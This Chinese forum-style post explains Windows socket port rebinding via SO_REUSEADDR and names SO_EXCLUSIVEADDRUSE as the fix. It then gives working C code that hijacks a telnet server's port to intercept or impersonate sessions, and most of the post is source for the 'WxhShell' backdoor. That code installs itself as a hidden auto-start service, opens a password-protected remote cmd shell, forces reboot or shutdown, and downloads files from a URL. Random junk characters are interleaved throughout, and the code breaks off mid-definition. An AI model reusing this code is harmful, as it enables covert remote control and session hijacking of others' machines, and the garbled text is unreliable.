在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
0
N^V&k s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
eS+LFS7*k {=Y&q~:8v saddr.sin_family = AF_INET;
qTex\qP 7m$/.\5 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
MYm6C;o$ jP]'gQ!-w bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
8BdeqgU/_ kF7Al]IgT 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
Yf9L~K W12K93tO 这意味着什么?意味着可以进行如下的攻击:
>.A:6 cZ,_O~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
z[Qv}pv Z/;SR""wa 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
O`| ri5d s!\L1E 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
M>#S
z L*38T\ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)HHzvGsL) S]{Z_|h*j 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
:@L5=2Z+ [O'p&j@ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]YKWa" y->iv% 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
h Nwb.[ U3QnWPt}> #include
O*7~t17 #include
;RYKqUE #include
[HfFC3U #include
G)`MoVH1 DWORD WINAPI ClientThread(LPVOID lpParam);
#v<+G=r*O int main()
<WmCH+>?r {
)<&QcO_ WORD wVersionRequested;
;U4X
U DWORD ret;
Hs` ']( WSADATA wsaData;
HBu>BSv: BOOL val;
YG|T;/- SOCKADDR_IN saddr;
}Z=Qy;zk SOCKADDR_IN scaddr;
pq`MO
.R int err;
1x)%9u} SOCKET s;
aV.<<OS SOCKET sc;
2;tp>,G9d int caddsize;
&3. 8i% HANDLE mt;
NI)nf;C DWORD tid;
)}v2Z3: wVersionRequested = MAKEWORD( 2, 2 );
+ u+fEg/A err = WSAStartup( wVersionRequested, &wsaData );
x(~l[hT if ( err != 0 ) {
bHNaaif}P printf("error!WSAStartup failed!\n");
[8n4lE[)" return -1;
wz=I+IN: }
Gz:a1-x saddr.sin_family = AF_INET;
S7*:eo [%y D,8 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
)*B.y|b# G Kr
L saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
8Sa<I.l saddr.sin_port = htons(23);
}"v"^5 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>XN&QVE {
j3U8@tuG printf("error!socket failed!\n");
$Re
%+2c return -1;
;'urt / }
ljRR val = TRUE;
sj~'.Zs% //SO_REUSEADDR选项就是可以实现端口重绑定的
1+Oo Qs if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
b7/4~_s {
ZhU2z*qN# printf("error!setsockopt failed!\n");
(A_9;uL^_ return -1;
>E# 4mm }
uNjy&I: //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
4{& //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
UWp(3FQ //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
K[H$qJmPX Mtlj I6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
o/#e
y {
%!RQ:?= ret=GetLastError();
lDzVc`c printf("error!bind failed!\n");
RY&~{yl$"1 return -1;
5{UGSz 1 }
GzX@Av$ listen(s,2);
]2+(i while(1)
O #"O.GX< {
$o z
ZFvJF caddsize = sizeof(scaddr);
VPuzu| //接受连接请求
\}5\^&}_ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
&%<G2x$ if(sc!=INVALID_SOCKET)
ZZUCwczI {
uWSG+ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
(Y86q\DQ?| if(mt==NULL)
AiuF3`Xa {
]v#Q\Q8> printf("Thread Creat Failed!\n");
uzOZxW[e break;
ul
E\>5O4h }
9ZwhCsO }
Ru/3>n CloseHandle(mt);
i*3'O:Gq }
a[!':-R`s closesocket(s);
BTB,a$P/ WSACleanup();
JkTL+obu return 0;
rz(DZ V }
d{Z DWORD WINAPI ClientThread(LPVOID lpParam)
3JwmLGj} {
mT;z `* SOCKET ss = (SOCKET)lpParam;
ufmFeeg SOCKET sc;
lxbZM9A2 unsigned char buf[4096];
q;+qIV&.: SOCKADDR_IN saddr;
1-`8v[S long num;
|dvcDx0|K DWORD val;
D*b>
l_ DWORD ret;
xJ4T7 )* //如果是隐藏端口应用的话,可以在此处加一些判断
iVA_a8} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
zK}.Bhj# saddr.sin_family = AF_INET;
JP#m}W saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-<.>jX saddr.sin_port = htons(23);
x~
I cSt if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
RSy1 wp4W {
1'h?qv^( printf("error!socket failed!\n");
`eA 0Z:`g! return -1;
T
^uBMDYe }
*<KY^; val = 100;
Li}yK[\] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
nG2RBeJV {
*%8dW ret = GetLastError();
FBe1f1
sm return -1;
9.<$&mVk7` }
]C_6I\Z#=W if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
k5^'b#v {
mR@iGl\\ ret = GetLastError();
Z# 1Qj9 return -1;
'Z';$N ] }
~Oolm_+{} if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
o9JJ_-O" {
}a8N!g printf("error!socket connect failed!\n");
r3|vu"Uei closesocket(sc);
MYu-[Hg closesocket(ss);
Yk }zN_v return -1;
I;=}@]9 }
O\xUv while(1)
3?C$Tl2G8 {
cdk;HK_Ve. //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
qr:[y //如果是嗅探内容的话,可以再此处进行内容分析和记录
lgU7jn //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
H}A67J9x num = recv(ss,buf,4096,0);
Oa{M9d,l if(num>0)
y2)~ljR send(sc,buf,num,0);
/@q_`tU else if(num==0)
9+pnpaZB0 break;
B<i1UJ5 num = recv(sc,buf,4096,0);
=r`>tWs if(num>0)
X)\t=><< send(ss,buf,num,0);
z`{x1*w_ else if(num==0)
yQ\c<z^e break;
rN
OwB2e }
O -@7n0 closesocket(ss);
Hh,\>= ': closesocket(sc);
8I
JFQDGA9 return 0 ;
jQc$>M<"o }
S-My6'ar u)%J5TR .Y H`kfI"u8 ==========================================================
M>-x\[n+ ;vuok]@ 下边附上一个代码,,WXhSHELL
"zfy_h eP6>a7gc ==========================================================
y/E%W/3 q^EG'\<^ #include "stdafx.h"
/1Ndir^c y "gYv #include <stdio.h>
GDhg
VOW( #include <string.h>
'(=krM9; #include <windows.h>
TEv3;Z*N #include <winsock2.h>
r-=#C1eY& #include <winsvc.h>
zK?[6n89f #include <urlmon.h>
g\d|/HVK ge*f<#|0U- #pragma comment (lib, "Ws2_32.lib")
u`7\o~$ #pragma comment (lib, "urlmon.lib")
(FP-
K !M\8k$#"n #define MAX_USER 100 // 最大客户端连接数
[8![UcMq #define BUF_SOCK 200 // sock buffer
p%8y!^g #define KEY_BUFF 255 // 输入 buffer
^C_ ;uz V4iN2 #define REBOOT 0 // 重启
0jG8Gmh! #define SHUTDOWN 1 // 关机
bDRl}^aO6 "RiY#=}sm #define DEF_PORT 5000 // 监听端口
Z
sv(/> p v%`aQ]o{ #define REG_LEN 16 // 注册表键长度
IOomBy: #define SVC_LEN 80 // NT服务名长度
wm_xH_{F K '7M\:zy // 从dll定义API
5V8WSnO typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>E6w,Ab typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
>,7-cm=. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
,x&T8o/a typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
#,lJ>mTe4 [s"xOP9R // wxhshell配置信息
VI/77 struct WSCFG {
$zKf>[K int ws_port; // 监听端口
RX \%R char ws_passstr[REG_LEN]; // 口令
6;Wns' int ws_autoins; // 安装标记, 1=yes 0=no
b dP @^Q char ws_regname[REG_LEN]; // 注册表键名
a/^ojn char ws_svcname[REG_LEN]; // 服务名
PF~w$ eeQ char ws_svcdisp[SVC_LEN]; // 服务显示名
Bz!SZpW(M char ws_svcdesc[SVC_LEN]; // 服务描述信息
8\P!47'q char ws_passmsg[SVC_LEN]; // 密码输入提示信息
90X<Qs int ws_downexe; // 下载执行标记, 1=yes 0=no
J4"?D9T3G char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&C6Z-bS" char ws_filenam[SVC_LEN]; // 下载后保存的文件名
LB$#]
Z )T&ZiHIJ3 };
gd#+N]C_ E.45s? r // default Wxhshell configuration
`r+zNJ@q struct WSCFG wscfg={DEF_PORT,
4zzJ5,S 1 "xuhuanlingzhe",
gLy1*k4 1,
Z^wogIAV "Wxhshell",
wO.T"x%X "Wxhshell",
"V'<dn "WxhShell Service",
B
OKY
X "Wrsky Windows CmdShell Service",
EIug)S~ "Please Input Your Password: ",
Xw)W6H| 1,
&P' d&B1
"
http://www.wrsky.com/wxhshell.exe",
?g+uJf
"Wxhshell.exe"
z>}H[0[# };
Y#7sDd!N| }6b" JoC // 消息定义模块
j2^Vz{ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
yGj'0c:: char *msg_ws_prompt="\n\r? for help\n\r#>";
>sGIpER7 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
@|N{EI char *msg_ws_ext="\n\rExit.";
2Kwr=t char *msg_ws_end="\n\rQuit.";
@` 5P^H7 char *msg_ws_boot="\n\rReboot...";
3:qn\"Hj char *msg_ws_poff="\n\rShutdown...";
pV[SY6/ char *msg_ws_down="\n\rSave to ";
hX4V}kj E7mB=bt>= char *msg_ws_err="\n\rErr!";
ON [F char *msg_ws_ok="\n\rOK!";
#l 7(WG sYa;vg4[ char ExeFile[MAX_PATH];
<Ukeq0 int nUser = 0;
Smg z} HANDLE handles[MAX_USER];
Zm x[:- int OsIsNt;
`"Lk@ o=C:= SERVICE_STATUS serviceStatus;
0Sx$6:-~ SERVICE_STATUS_HANDLE hServiceStatusHandle;
q[}W&t, efN5(9*9R // 函数声明
T]oVNy int Install(void);
uidoz
f2} int Uninstall(void);
n~_;tO int DownloadFile(char *sURL, SOCKET wsh);
Ndmki
7A int Boot(int flag);
CT{mzC8 void HideProc(void);
gUGMoXSTI| int GetOsVer(void);
&+|bAn9AJ int Wxhshell(SOCKET wsl);
o3C GG void TalkWithClient(void *cs);
"vvv@sYxi int CmdShell(SOCKET sock);
<~z@GMQCf int StartFromService(void);
"*8>` 6 E int StartWxhshell(LPSTR lpCmdLine);
Q{=DLm` tY@+d*u VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
$&Lw 2 c0 VOID WINAPI NTServiceHandler( DWORD fdwControl );
<]Btx;} B}fd#dr // 数据结构和表定义
Fzmc#? SERVICE_TABLE_ENTRY DispatchTable[] =
'/2)I8 {
/`s{!t#Y {wscfg.ws_svcname, NTServiceMain},
aO&!Y\=@ {NULL, NULL}
yByxy-~ };
o#uhPUZ #u"$\[ G // 自我安装
jI/#NCKE int Install(void)
PjE%_M< {
7x=-1wbi char svExeFile[MAX_PATH];
<I 0 EjV HKEY key;
<g$b M;6% strcpy(svExeFile,ExeFile);
thLx!t =I8^E\O(" // 如果是win9x系统,修改注册表设为自启动
_J&IL!S2 if(!OsIsNt) {
>c)-o}bd^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^UmhSxQ## RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
q"0_Px9P RegCloseKey(key);
^Ycn&`s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
v`&>m' RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
] kdU]}z RegCloseKey(key);
+OaBA>Jh9 return 0;
Lky T4HC8n }
JuDadIrd{ }
X"!tx }
fA)4'7UT else {
Ex<@: O^Y@&S RrQ // 如果是NT以上系统,安装为系统服务
=xjtPmZ5X SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
,5&
Rra/ if (schSCManager!=0)
wd*V,ZN7 {
h9Tst)iRi SC_HANDLE schService = CreateService
e'X"uH Xt. (
XyYP!<].C schSCManager,
K!a7Hg wscfg.ws_svcname,
{W'{A wscfg.ws_svcdisp,
O:j=L{,d^ SERVICE_ALL_ACCESS,
q|_Cj]{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
o0kKf+[ SERVICE_AUTO_START,
II]-mb SERVICE_ERROR_NORMAL,
nmw#4yHYy: svExeFile,
SoHw9FtS NULL,
~,m5dP#[bV NULL,
Um!LF"Z NULL,
D\Fu4Eg NULL,
8;i'dF:) NULL
Dc9Fb^]QOG );
1}q(Pn2 if (schService!=0)
x-T7
tr&( {
DD'RSV5] CloseServiceHandle(schService);
G&q@B`I CloseServiceHandle(schSCManager);
:gM_v?sy strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
ts &sr
strcat(svExeFile,wscfg.ws_svcname);
9w<k1j if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\iH\N/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
^Sc48iDc RegCloseKey(key);
OzV|z/R2' return 0;
]Wn=Oc{F }
2,r jy|R` }
_N"c,P0 CloseServiceHandle(schSCManager);
fBLR }
w|U7pUz }
IAd[_<9D _SrkR7 return 1;
Nazr4QU }
QV8;c^EZ DI\^&F)3T2 // 自我卸载
& &:ZY4` int Uninstall(void)
`08}y*E {
_]M: HKEY key;
k&= iye( qf*e2"~v if(!OsIsNt) {
(,['6k< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7#sb},J{ RegDeleteValue(key,wscfg.ws_regname);
]GiDfYs7% RegCloseKey(key);
\4|osZ0y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
e0g>.P@6 RegDeleteValue(key,wscfg.ws_regname);
'ALe>\WO RegCloseKey(key);
r5Xi2! return 0;
ogJ>`0 +J }
A}CpyRVCn }
X?SLYm@v }
J5zu}U? else {
"v+%F O7xBMqMf SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
xL|4'8 if (schSCManager!=0)
"uU[I,h {
GE#LcCa SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(RLJ_M|;/b if (schService!=0)
(*G'~gSX {
R]y9>5 'U if(DeleteService(schService)!=0) {
89fl\18% CloseServiceHandle(schService);
S%7%@Qs"% CloseServiceHandle(schSCManager);
(h27SLYm return 0;
+||[H)qym }
J
Sms
\ CloseServiceHandle(schService);
2KSt4oa }
/i
IWt\J CloseServiceHandle(schSCManager);
*Edr\P }
9S{?@*V }
^ =RSoR O;RNmiVoq return 1;
;Rd\yAG }
8zH/a
UpqDGd7M // 从指定url下载文件
{ud^+I& int DownloadFile(char *sURL, SOCKET wsh)
2"B3Q:0he| {
?v Z5 ^k HRESULT hr;
4.'KT;[_1/ char seps[]= "/";
V2*m/JyeB char *token;
5YgUk[J char *file;
0u8(*? char myURL[MAX_PATH];
5U.,iQ(d char myFILE[MAX_PATH];
)q'~<QxI\ uH8`ipX strcpy(myURL,sURL);
.iH#8Z
token=strtok(myURL,seps);
YbE1yOJ&m while(token!=NULL)
J!*Pg< {
Zq>}SR file=token;
BXX1G token=strtok(NULL,seps);
<P<^,aC/j }
o/p'eY:) uT{.\qHo GetCurrentDirectory(MAX_PATH,myFILE);
-u%'u~s strcat(myFILE, "\\");
;AE%f.Y strcat(myFILE, file);
fa;GM7<e) send(wsh,myFILE,strlen(myFILE),0);
<>K@#|%Y& send(wsh,"...",3,0);
]@7]mu:oL hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
&Qq4xn+J if(hr==S_OK)
dIDs~ return 0;
T(6B, else
8Zvh"Z? return 1;
(?pn2- Ip .X(ocs$} }
AZadNuL/ T#w *5Qf // 系统电源模块
d^jIsE ` int Boot(int flag)
Ow7I`#P {
>zWVM1\\j HANDLE hToken;
9TILrK TOKEN_PRIVILEGES tkp;
"ktC1y1 *oz=k if(OsIsNt) {
0!,)7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
.j 0]hn] LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
R7!^ M tkp.PrivilegeCount = 1;
;t}ux tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
7<%Rx19L* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
LYX\# if(flag==REBOOT) {
O5p]E7/e if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
P1mPC return 0;
_G5MQ%z }
8yc?9&/| else {
zVs|go>F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
aXefi'!6 return 0;
QZ54Osdl }
yi/jZX }
yD!V;?EnK else {
J#y?^Qm$)< if(flag==REBOOT) {
ps6c>AN`A& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
"Z6: d"S` return 0;
t#h<'?\E }
VClw!bm else {
dc0Ro, if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
RU'DUf return 0;
6axmH~_ }
C&ivjFf }
v`$9;9 WtTwY8HC return 1;
X*'-^WM6 }
~ ]q^Akq 'E,Bl]8C5 // win9x进程隐藏模块
`N"fsE ma void HideProc(void)
<XxFR {
lYu1m ;DKwv} HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!&Q3>8l if ( hKernel != NULL )
$zBG19 [% {
\HOOWaapN pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
E$[\Fk}S ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Az2$\ FreeLibrary(hKernel);
<&'r_m }
R`:NUGR ^50/.Z> return;
U<
p kg }
<`q|6XWL _k@{>
?(a // 获取操作系统版本
Q( KLx ) int GetOsVer(void)
Wwf#PcC] {
5i$~1ZC OSVERSIONINFO winfo;
41TB winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
e+F5FAMR68 GetVersionEx(&winfo);
#={L!"3?e if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
SS;QPWRZ return 1;
FBcF else
yX(6C]D return 0;
%d9UW Q }
$0Y&r]' 0PnW|N0 // 客户端句柄模块
OI.2C F int Wxhshell(SOCKET wsl)
3HA$k[%7P {
[#td SOCKET wsh;
05MtQB struct sockaddr_in client;
_rqOzE) DWORD myID;
va8V{q@t' zY|]bP[NEH while(nUser<MAX_USER)
AAdRuO{l1 {
^>ca*g int nSize=sizeof(client);
v}]x>f wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
oA~m*| if(wsh==INVALID_SOCKET) return 1;
b~b(Ed{r <5(8LMF handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
.>?["e #, if(handles[nUser]==0)
= sIR[V'( closesocket(wsh);
88U4I else
y+?tUSPP nUser++;
-i'T!Qg1 }
/)de`k" WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
7Yxy2[ !o4xI? return 0;
8'B\%.+"8e }
\sC0om, (`18W1f5W // 关闭 socket
c`X'Q)c&K void CloseIt(SOCKET wsh)
-H`G6oMOO {
#Y}Hh7.< closesocket(wsh);
:*&wnQMKR nUser--;
im+2)9f ExitThread(0);
J6 [x(T }
u ?g!E."v H8K<.RY // 客户端请求句柄
@\!wW-:A void TalkWithClient(void *cs)
0 $e;#} {
:Rt5=0x
Ai->,<Ig] SOCKET wsh=(SOCKET)cs;
;^DUtr
; char pwd[SVC_LEN];
W'XMC" char cmd[KEY_BUFF];
|-_5ouN. char chr[1];
vo`wYJ3W int i,j;
fsjA7)/ d=qpTb;( while (nUser < MAX_USER) {
yK?~XV: TKLy38 if(wscfg.ws_passstr) {
31>k3IP& if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
u."fJ2}l0X //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q'+N72= //ZeroMemory(pwd,KEY_BUFF);
0dkM72p i=0;
@LL&ggV? while(i<SVC_LEN) {
L''0`a. +S `6mHt6"h // 设置超时
faO8
& fd_set FdRead;
"}SERC7 struct timeval TimeOut;
mZ;yk( FD_ZERO(&FdRead);
cfeX(0 FD_SET(wsh,&FdRead);
+X*`}-3 TimeOut.tv_sec=8;
FYcMvY TimeOut.tv_usec=0;
ZVp\5V* int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
7Xad2wXn if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
iY|YEi8
GoEIY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
fSqbGoIQ pwd
=chr[0]; 3Gp4%UT&
if(chr[0]==0xd || chr[0]==0xa) { w ^<Y5K
pwd=0; )i_FU~ LRq
break; INbjk;k
} m]-8?B1`Y
i++; Y6L+3*Qt
} l IFt/
&YT7>z,
// 如果是非法用户,关闭 socket u=E?N:I~F
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '-i
tn
} =|U2 }U;
4G>|It
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); =(n'#mV
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 3K?0PRg
3yKI2en"
while(1) { AVyZ#`,
MW`a>'0t?
ZeroMemory(cmd,KEY_BUFF); 7 $9fGo
D`t e|K5
// 自动支持客户端 telnet标准 rmMO-!s
j=0; Yip9K[
while(j<KEY_BUFF) { >|Jw,,uf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4|$D.`Wu
cmd[j]=chr[0]; 0[1!K&(L
if(chr[0]==0xa || chr[0]==0xd) { 3-mw-;.
cmd[j]=0; +1)C&:
break; 9>i6oF]Oq
} L\Jl'r|
j++; Pm1
"
0
} @Qs-A^.
1=;QWb6
// 下载文件 HQ
s)T
if(strstr(cmd,"http://")) { Z@[,"{Sn
send(wsh,msg_ws_down,strlen(msg_ws_down),0); :>X7(&j8
if(DownloadFile(cmd,wsh)) I
}/Oi]jA6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'd t}i<
else Y;Ur8q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M)J *Df0@
} ^X&9"x)4
else { "qj[[LQ
`5 6QX'?
switch(cmd[0]) { wFJK!9KA8
pt4xUu{
// 帮助 poe Xi\e!(
case '?': { OpL 6Y+<
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); w//w$}v
break; Y=rr6/k
} b}4/4Z.
// 安装 N/%#GfXx
case 'i': { (t]>=p%4g
if(Install()) qXI30Yo#d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *n*y!z
else eurudl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2T3DV])Q
break; pMB=iS<E
} 7P`1)juA9
// 卸载 (Z$6JNkz
case 'r': { >o} ati
if(Uninstall()) s =5H.q%PV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yhdG 93
else bvgD;:Aj
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2Y4&Sba^Y
break; - X_w&
} >ek%P;2w>
// 显示 wxhshell 所在路径 od}x7RI%m
case 'p': { 'YR5i^:t
char svExeFile[MAX_PATH]; Dy@\!F
strcpy(svExeFile,"\n\r"); 9(l'xu X
strcat(svExeFile,ExeFile); =_dd4`G&<
send(wsh,svExeFile,strlen(svExeFile),0); cP2R24th
break; &JlR70gdHi
} d*>k
]X@G
// 重启 JKT+ q*V
case 'b': { ,j nRt%W
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Uu
X"AFy~\
if(Boot(REBOOT)) s4$m<"~
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4sj%:
else { :(b3)K
closesocket(wsh); 8e@JvAaa$
ExitThread(0); 7S2F^,w
} |+:ZO5FaO
break; z=p
} 4LjSDgA
// 关机 oPy zk7{
case 'd': { ]R{"=H'
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \Ep/'Tj&
if(Boot(SHUTDOWN))
fE*I+pe
send(wsh,msg_ws_err,strlen(msg_ws_err),0); | q16%6q
else { \z`d}\3(R
closesocket(wsh); b(q&}60
ExitThread(0); J\so8uT:
} 'c[LTpn4=
break; -HsBV>C
} t4k'9Y:\Q
// 获取shell W{+0iAYnp
case 's': { Ql@yN@V
CmdShell(wsh); %9/)
closesocket(wsh); sYA-FO3gh
ExitThread(0); is?&%VY
break; _<a)\UR
} j$|C/E5?
// 退出 r65NKiQD
case 'x': { 3Gl]g/
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =+h!JgY/L
CloseIt(wsh); rgzI
break; dO4#BDn"=
} ]0i2]=J&,
// 离开 pmyM&'#Id
case 'q': { IA`8ie+
send(wsh,msg_ws_end,strlen(msg_ws_end),0); 87(^P3;@
closesocket(wsh); 'B5J.Xe:
WSACleanup(); &&nO]p`
exit(1); p\_qHq\;j
break; (MoTG^MrBY
} '%!M>rY,
} =Xjuz:9D~
} r)5\3j[P
'(pdk
// 提示信息 d+2O^of:T
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J8v:a`bX&
} h==GdS4
} 8}oDRN!J
C9g~l}=$&
return; 9T,QWk
} '}`hY1v
a61eH )a
// shell模块句柄 :_\!t45
int CmdShell(SOCKET sock) E9d i
{ quGPk)c
STARTUPINFO si; LEngZ~sV/
ZeroMemory(&si,sizeof(si)); h!N&gZ[0
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; X_({};mz
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <SM&VOiaOz
PROCESS_INFORMATION ProcessInfo; Mr NOcx&
char cmdline[]="cmd"; lMzCDx!m
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); N"x\YHp
return 0; ms\/=96F
} ar
qLp|
#oroY.o
// 自身启动模式 !bV(VRbu
int StartFromService(void) #8f"}>U9.,
{ 7x7r!rSe,
typedef struct ]AC!R{H
{ u1|P'>;lF
DWORD ExitStatus;
):fu
DWORD PebBaseAddress; {.D2ON
DWORD AffinityMask; 8cBW] \ v
DWORD BasePriority; 3Ra\2(bR
